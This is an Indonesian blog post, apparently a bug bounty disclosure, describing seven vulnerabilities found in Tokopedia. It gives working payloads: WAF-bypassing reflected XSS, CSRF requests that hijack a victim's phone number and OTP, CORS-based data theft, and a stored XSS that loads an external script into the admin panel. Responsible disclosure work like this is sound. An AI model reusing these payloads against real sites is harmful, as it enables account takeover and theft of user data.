Tokopedia Bug Bounty Program


Sebelum memulai penjelasan temuan-temuan ethic ninja terhadap tokopedia, akan kami jelaskan sedikit dahulu pengertian bug bounty program.

Apa itu bug bounty program?

Bug bounty program adalah suatu program pencarian bug / celah keamanan pada suatu website/aplikasi yang diselenggarakan oleh suatu perusahaan, dimana “hacker” yang berhasil menemukan dan melalui proses validasi akan diberikan sebuah reward baik berupa sertifikat, hall of fame, hingga berupa uang.

Apakah temuan boleh dipublikasikan?

Tergantung, ini tergantung kesepakatan pihak penyelenggara bug bounty program, dalam hal ini tokopedia memang memperbolehkan temuan bugnya dipublikasikan dengan syarat menunggu bug tersebut selesai ditangani dengan baik oleh tim security tokopedia. Info lebih lanjut  https://github.com/tokopedia/Bug-Bounty

Daftar temuan vulnerability bug pada tokopedia

Berikut ini adalah daftar temuan-temuan vulnerability bug yang kami temukan terhadap website tokopedia:

1. Bypassing WAF rules – XSS (1)
2. Hijacking OTP & Phone Number other users – CSRF
3. Tabnabbing
4. Get sensitive data other users – CORS Misconfiguration
5. Bypassing WAF rules – XSS (2)
6. Bypassing Same Origin Policy
7. View Authenticated Admin Panel Tokopedia! – Stored XSS

Detail Temuan

[1] Bypassing WAF rules – XSS

Pada saat melakukan fuzzing, kami menemukan adanya reflected string di https://www.tokopedia.com/iklan ?source=footer

Contoh :

input: source=footer123
output: <a class="site-logo" href="https://www.tokopedia.com/iklan?source=footer123&medium=desktop">Tokopedia</a>
input: source=footer" hello="
output: <a class="site-logo" href="https://www.tokopedia.com/iklan?source=footer" hello="&medium=desktop">Tokopedia</a>

Nice… quote tidak dilakukan escape, maka langkah selanjutnya kami coba menyisipkan event onmouseover pada DOM

input: source=footer" style="background:red" onmouseover="alert(document.domain)"><x="
output: <a class="site-logo" href="https://www.tokopedia.com/iklan?source=footer" style=”background:red;" x ="&medium=desktop">Tokopedia</a>

Hei kemana perginya onmouseover?

Onmouseover terfilter oleh WAF?, kami melakukan riset lebih lanjut dan berkesimpulan bahwa urutan rule filternya seperti ini :

  1. Hapus semua event html (onmouseover, onkeyup, onerror) dll –> namun ternyata semua bentuk pattern dengan prefix on dihilangkan juga seperti ”oncom, onabcd, ondelondel”
  2. Karakter lebih besar (>) dan lebih kecil (<) diganti dengan spasi “ “

Sudah kuatkah filternya? sayangnya tidak, untuk rule terakhir justru menjadi celah karena rule tersebut “membantu” menghindari untuk rule pertama. Tentu saja tidak terlalu sulit untuk melakukan bypass rule dari WAF tersebut.

source=footer" style="background:red; "<onmouseover="alert(document.domain)"<x="
<a class="site-logo" href="https://www.tokopedia.com/iklan?source=footer" style="background:red; " onmouseover ="alert(document.domain)" x ="&medium=desktop">Tokopedia</a>

Dan hasilnya… XSS ter-trigger

Bahayanya apa?

XSS dapat mencuri token csrf untuk melakukan banyak hal seperti :

  • Mendapatkan informasi user lain seperti (nama, email, no hp, no rekening, dll)
  • Mematikan OTP  user lain
  • Memasukkan barang ke keranjang tanpa sepengetahuan user
  • Melihat inbox user lain
  • dll

[2] Hijacking Phone Number & OTP other users – CSRF

Kasus ini berlaku untuk user yang sebelumnya belum melakukan verifikasi nomor handphone dan user yang mengganti nomor handphone tetapi belum memverifikasi kembali. Payload dijalankan secara berurutan, payload pertama untuk meregistrasi sekaligus mengirimkan OTP ke nomor hp attacker, payload kedua untuk melakukan verifikasi dari OTP yang didapat.

Pertama kali terlihat bahwa proses verifikasi nomor handphone tidak diperlukan sebuah token csrf, maka seharusnya jika tidak ada hal yang membatasi seperti CSP maka exploit akan berfungsi. Mari kita coba :

Payload pertama adalah payload untuk memaksa victim user melakukan pengiriman kode OTP ke HP attacker yang berguna untuk mendaftarkan nomor HP attacker ke akun victim :

[GET] /ajax/msisdn.pl?action=event_sent_verification_code&phone=[attacker phone]&update_flag=&email_code=&v=[timestamp]

Kemudian payload kedua adalah memaksa victim user untuk memasukkan OTP yang sudah diperoleh sebelumnya dari payload pertama agar proses verifikasi nomor HP attacker valid :

[POST]
 /msisdn-verification.pl?action=verifikasi&type=home
 phone=[attacker phone]&code=[PIN OTP yang diperoleh]&submit=

Begini langkah eksploitasinya (No HP attacker : 087817000088 & No HP victim: 087771203366) :

  1. Victim melakukan pendaftaran seperti biasa.
  2. Victim mengunjungi situs yang telah dipasangi payload tersebut.
  3. Ketika victim mengunjungi situs tersebut maka payload langsung bekerja secara otomatis
  4. Ketika victim kembali ke akun tokopedia maka nomor hp victim akan terisi nomor hp attacker, pwned!

[3] Tabnabbing

Tabnabbing adalah salah satu kategori next level phishing, serangan ini bertujuan mengelabui user untuk mendapatkan sensitif data berupa username dan password, cara kerjanya sendiri adalah seperti berikut :

  1. Attacker membuat link di halaman tokopedia
  2. Victim klik link tersebut, sehingga akan membuka tab baru
  3. Ketika victim kembali ke tab sebelumnya maka tab sebelumnya telah berubah/berpindah

Agar lebih jelasnya silahkan melihat video berikut :

[fvplayer src=”https://www.ethic.ninja/wp-content/uploads/2017/11/tabnabbing-tokopedia.mp4″ width=”1920″ height=”1080″]

Solusi dapat menggunakan banyak cara diantaranya :

1. Jika memungkinkan hindari penggunaan target=_blank

2. Tambahkan atribut rel=”noreferrer”
3. Jika menggunakan js dapat menambahkan null pada properti window.opener   <script>var win=window.open(url, “target=_blank”);win.opener=null;</script>
Bug ini tergolong mudah dilakukan (halaman target tidak harus mengikuti same-origin policy, sehingga domain yang berbeda pun dapat dilakukan reload secara background) sehingga kemungkinan berhasil mengelabui user cukup tinggi, apalagi jika diakses melalui mobile browser yang seringkali tidak ditampilkan URL nya.

[4] Get sensitive data other users – CORS Misconfiguration

Beberapa transfer data lintas domain / cross-domain dari Tokopedia terdapat miskonfigurasi, tidak ada pengecekan/whitelist origin menyebabkan seseorang dapat merekam data user tokopedia melalui origin di luar tokopedia, tanpa perlu interaksi lebih lanjut.
Beberapa data yang dapat diambil oleh attacker antara lain :
1. Token
2. Pesan/inbox
3. Pulsa
4. Saldo
PoC :
Get Token :
Get Saldo :
 

[5] Bypassing WAF rules – XSS (2)

Kali ini kami mencoba untuk mencari bug di m.tokopedia.com, ditemukan bahwa pada halaman katalog terdapat XSS.
url : https://m.tokopedia.com/catalog/50985/oppo-a39?page=4&tab=gallery
parameter : page

Nilai dari parameter page ditulis ulang (reflective) dibeberapa tempat seperti :

  1. <meta name=”title” content=”Galeri Oppo A39 | Tokopedia, Halaman , Halaman 4″ />
  2. <meta property=”og:title” content=”Galeri Oppo A39 | Tokopedia, Halaman , Halaman 4″/>
  3. <title>Galeri Oppo A39 | Tokopedia, Halaman , Halaman 4</title>

Dari hasil riset tags yang tidak terkena escape quote adalah tag nomor 1 dan 2. Masih dengan kurang lebih teknik yang sama dengan report XSS yang sebelumnya, akhirnya didapat payload seperti berikut :

https://m.tokopedia.com/catalog/50985/oppo-a39?page=4"><a<img src="https://ethic.ninja" onerror>=prompt(document.domain)>&tab=gallery

[6] Bypassing Same Origin Policy

Pada saat melakukan testing graphql terlihat ada beberapa data sensitive yang dikeluarkan seperti, id, email, phone, saldo dll. Maka untuk “mencuri” data tersebut kami coba dengan eksploitasi CORS Misconfiguration, pada percobaan pertama dengan mengganti origin menjadi https://ethic.ninja namun seperti gambar di bawah hal ini sudah ditangani dengan baik.

Kemudian dicoba melakukan manipulasi origin menjadi http://tokopedia.com.ethic.ninja hasilnya server melakukan respon balik secara normal! Hal ini berlaku juga untuk :

Jadi kesimpulannya semua origin yang memiliki string tokopedia.com akan diterima.

PoC :

http://tokopedia.com.ethic.ninja/cors.html

[7] View Authenticated Admin Panel Tokopedia! – Stored XSS

Pencarian bug masih berlanjut, kali ini melakukan cek dengan salah satu inputan registrasi ketika membuka toko baru di tokopedia yaitu inputan… Nama toko
Ya anda tidak salah baca, inputan nama toko belum tersanitasi dengan baik! pada saat memberikan nama toko kami memberi inputan :
<svg/onload=alert(1)>

Dan payload ini tertrigger di halaman buyer.

Namun hal ini belum cukup meyakinkan tim security tokopedia, karena nama toko dibatasi 24 karakter dan sepertinya tidak mungkin menjadi eksploit yang dapat mencuri token/cookie, sesuai pernyataan dari tim security tokopedia melalui email di bawah ini.

Dan kami menjelaskan bahwa hal itu memungkinkan dengan payload seperti :

<script src=//xyz.com> atau <script src=//xyz.com?

Dan ini balasannya :

Check this out! (browser sebelah kiri adalah attacker, victim sebelah kanan)

Tapi payload tidak bekerja sampai disitu saja, payload ini juga tembus sampe ke sistem panel admin tokopedia!

Plus bonus cookie admin yang didalamnya terdapat email admin, username, nama admin, dan no telepon admin.